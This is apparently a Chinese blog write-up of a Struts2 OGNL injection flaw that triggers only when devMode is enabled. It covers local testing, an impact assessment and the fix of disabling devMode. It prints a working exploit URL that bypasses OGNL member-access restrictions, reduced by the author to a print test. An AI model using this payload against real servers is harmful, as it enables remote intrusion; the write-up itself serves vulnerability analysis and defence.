从标题可以看出这个漏洞是触发在devMode上的,那么什么是devMode,看下面的百度
从百度可以大概知道这是一个开发者模式的开关,于是我本地搭建了一个struts的环境(2.5的版本,其他版本没有测试)在不开启devMode模式下测试效果如下:
很明显没有检测出漏洞,于是我把devMode开启,再次检测
漏洞触发了,那么很明显这个漏洞是触发在devMode开启的模式下
漏洞触发exp(我修改了过了原版的是直接执行远程命令我这里把命令执行去掉了): http://127.0.0.1:8080/struts2-showcase/index.action?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23context[%23parameters.rpsobj[0]].getWriter().println(%22this%20is%20print%20test%22)):xx.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=123456789
最后总结这个漏洞的威力: 1:触发条件devMode开启才行(这个模式大多数下不会有特别多的人去开启,不过有些公司还是开启了我自己开发的网站是从来没有开启过的) 2:漏洞直接是在拦截器上触发的,也就是说利用方式和struts2 -032的利用方式相同(GET/POST提交都会触发到漏洞) 3:只要网站开启了devMode模式那么有很大的几率中招所以危害还是很大的
个人修补建议(非官网不是很有准确性): 关闭devMode模式(因为我测试关闭了就无法触发到了,不过我没有深入研究可能不是特别准确)
|